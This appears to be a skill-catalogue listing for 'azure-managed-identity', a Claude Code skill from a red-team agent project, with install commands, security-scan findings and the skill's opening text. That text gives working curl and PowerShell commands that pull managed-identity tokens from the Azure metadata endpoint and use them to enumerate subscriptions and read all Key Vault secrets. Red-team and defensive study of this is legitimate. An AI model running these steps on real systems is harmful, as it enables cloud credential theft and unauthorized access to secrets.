azure-managed-identity

azure-managed-identity is a skill for Claude Code from PurpleAILAB/Decepticon. It costs 55 tokens per session (1,271 once invoked), scanned C, original, Apache-2.0.

A guide to abusing Azure managed identities, which let cloud workloads access Azure services without storing a password in the application.

In plain words
What is it for?
It is for obtaining workload identity tokens and testing access to Azure Resource Manager, Microsoft Graph, and Key Vault, including hybrid identity scenarios.
Why use it?
If an attacker gains code execution in a workload, weak identity permissions may provide a path to other Azure resources or secrets.

Skill for Claude Code

Written for Claude Code: allowed-tools in frontmatter.

Good fit It is for obtaining workload identity tokens and testing access to Azure Resource Manager, Microsoft Graph, and Key Vault, including hybrid identity scenarios.

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Install with agentmods
npx agentmods add skills/purpleailab/decepticon/azure-managed-identity
About the project

Decepticon is an autonomous red-team agent that coordinates AI agents, security tools, sandboxes, and supporting services for authorized cybersecurity assessments. Security researchers and red teams can run it through its Docker stack, cloud service, command-line interface, or Python SDK, with the catalogue entries representing its available skills.

PurpleAILAB/Decepticon · 5,482 stars · on GitHub · decepticon.red

Install

Getting it into your agent

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Any agent
npx skills add PurpleAILAB/Decepticon --skill azure-managed-identity
Clone the repo
git clone --depth 1 https://github.com/PurpleAILAB/Decepticon

Made for: Claude Code.

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Per session 55 Skills are progressive disclosure: only the name and description are preloaded; the body loads when the skill is used.
When invoked 1,271 The whole file, excluding the scripts and references it only reads on demand.
Security scan C 2 findings. A grade says what 26 rules found in the file — not that it is safe. Third-party audits
  • NVIDIA SkillSpector warn 7 Sept 2026
SkillSpector: 5 findings, up to high

These are SkillSpector’s own severities. On a checked sample its high-severity flags on skills were ~96% false positives — a documented command, a public API, a “never do X” rule — so we show them as a caution to read, not a verdict. Why →

  • high Server-Side Request Forgery · line 3
    Code accesses a cloud instance metadata endpoint (e.g. 169.254.169.254). A single request can return temporary IAM credentials, making this a high-value SSRF target for credential theft.
    Fix: Remove access to cloud metadata endpoints unless strictly required. If metadata is needed, restrict it (e.g. IMDSv2 with hop limit) and never expose returned credentials.
  • high Server-Side Request Forgery · line 21
    Code accesses a cloud instance metadata endpoint (e.g. 169.254.169.254). A single request can return temporary IAM credentials, making this a high-value SSRF target for credential theft.
    Fix: Remove access to cloud metadata endpoints unless strictly required. If metadata is needed, restrict it (e.g. IMDSv2 with hop limit) and never expose returned credentials.
  • high Server-Side Request Forgery · line 28
    Code accesses a cloud instance metadata endpoint (e.g. 169.254.169.254). A single request can return temporary IAM credentials, making this a high-value SSRF target for credential theft.
    Fix: Remove access to cloud metadata endpoints unless strictly required. If metadata is needed, restrict it (e.g. IMDSv2 with hop limit) and never expose returned credentials.
  • high Server-Side Request Forgery · line 64
    Code accesses a cloud instance metadata endpoint (e.g. 169.254.169.254). A single request can return temporary IAM credentials, making this a high-value SSRF target for credential theft.
    Fix: Remove access to cloud metadata endpoints unless strictly required. If metadata is needed, restrict it (e.g. IMDSv2 with hop limit) and never expose returned credentials.
  • medium Data Exfiltration · line 84
    Data is being sent to an external URL. This could be legitimate telemetry or data exfiltration. Manual review is recommended.
    Fix: Verify the destination URL is trusted and necessary. Remove or replace with documented APIs. Ensure no secrets, tokens, or PII are transmitted.
How audits are shown
Origin original No closer match found in the catalogue.
Token cost

What it costs to keep this loaded

Counted locally with the o200k_base tokenizer, which is exact for GPT models; Claude uses its own tokenizer and its counts differ. Treat this as one consistent yardstick across the catalogue rather than a bill. Prices are per million input tokens.

ModelPer sessionOnce invoked
Fable 5.1 $0.00055 $0.01271
Opus 5 $0.00028 $0.00635
Sonnet 5 $0.00011 $0.00254
Haiku 4.5 $0.00006 $0.00127

Measured 8d ago against content hash 27f9d5c32037, method: parsed. Prices are Anthropic first-party input rates as of 2026-09-11, from the pricing page.

Security

Grade C, and why

azure-managed-identity scanned grade C with 2 findings against 26 rules in 11 categories — prompt injection, anti-refusal, data exfiltration, privilege escalation, supply chain, agent snooping, system-prompt leakage, SSRF and excessive agency — measured 8d ago.

A static scan of the body, not an audit. Every finding is printed with the line that produced it so you can judge whether it matters here. A mod is markdown that instructs an agent; that is exactly why what it instructs is worth reading.

Cloud metadata endpointhighServer-side request forgery

One request to 169.254.169.254 can return temporary IAM credentials.

description: "Azure Managed Identity abuse — IMDS at 169.254.169.254 from compromised VM / App Service / Function, token exchange for Graph/ARM/KeyVault, federated workload identity abuse, hybrid AAD Connect MSOL credent

Makes network callslowCapability

Not a fault in itself. Listed so you know the mod talks to something, and to what.

TOKEN=$(curl -s -H Metadata:true \
Origin

Copies of this mod

1 near-identical copy found in the catalogue:

packages/decepticon/decepticon/skills/standard/cloud/azure-managed-identity/SKILL.md · 111 lines

How it starts

The opening of the file, as written. The whole thing — 111 lines — stays where its author put it; the contents beside it link to each section on GitHub.

Azure Managed Identity Abuse

You have RCE in an Azure compute resource (VM, App Service, Function, AKS, Container Apps). Steal the Managed Identity token and pivot.

Steal the token

Linux VM / Container

TOKEN=$(curl -s -H Metadata:true \
  "http://169.254.169.254/metadata/identity/oauth2/token?api-version=2018-02-01&resource=https://management.azure.com/" \
  | jq -r .access_token)

Windows VM

$h = @{Metadata="true"}
$r = Invoke-RestMethod -Uri "http://169.254.169.254/metadata/identity/oauth2/token?api-version=2018-02-01&resource=https://management.azure.com/" -Headers $h
$TOKEN = $r.access_token

App Service / Function (different endpoint, requires IDENTITY_HEADER)

TOKEN=$(curl -s -H "X-IDENTITY-HEADER: $IDENTITY_HEADER" \
  "$IDENTITY_ENDPOINT?resource=https://management.azure.com/&api-version=2019-08-01" \
  | jq -r .access_token)

Common token audiences (resource param)

Audience URL Use
https://management.azure.com/ ARM — list/modify Azure resources
https://graph.microsoft.com/ Microsoft Graph — read directory, mail, groups
https://vault.azure.net Key Vault — secrets, keys, certificates
https://storage.azure.com/ Storage account — blob/queue/file/table
https://database.windows.net/ Azure SQL
https://servicebus.azure.net/ Service Bus

Request one token per audience — the MI assignment determines which work.

Use the token

# Enumerate the subscription
curl -s -H "Authorization: Bearer $TOKEN" \
  "https://management.azure.com/subscriptions?api-version=2020-01-01" | jq .

# List Key Vaults (then a VAULT_TOKEN to read secrets)
curl -s -H "Authorization: Bearer $TOKEN" \
  "https://management.azure.com/subscriptions/$SUB/providers/Microsoft.KeyVault/vaults?api-version=2022-07-01"

# Read every secret
VAULT_TOKEN=$(curl -s -H Metadata:true "http://169.254.169.254/metadata/identity/oauth2/token?api-version=2018-02-01&resource=https://vault.azure.net" | jq -r .access_token)
curl -s -H "Authorization: Bearer $VAULT_TOKEN" "https://$VAULT_NAME.vault.azure.net/secrets?api-version=7.4" | jq .

Read the full file on GitHub · 111 lines

Changes

What this file has done since we first saw it

Hashed on every crawl. A supply-chain change to an agent config is a question of when, not whether, so the history is kept rather than the latest state alone.

  1. 8d ago First seen · 111 lines · 55 tokens per session scan C 27f9d5c32037

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azure-managed-identity is a skill published in the GitHub repository PurpleAILAB/Decepticon (5,482 stars, last pushed 12d ago), licensed Apache-2.0. It adds 55 tokens to every session and 1,271 once invoked, about $0.0003 per session on Opus 5. A static security scan graded it C with 2 findings (cloud metadata endpoint, makes network calls). No closer match exists in the catalogue, so it is treated as the original; first seen 2026-09-03.

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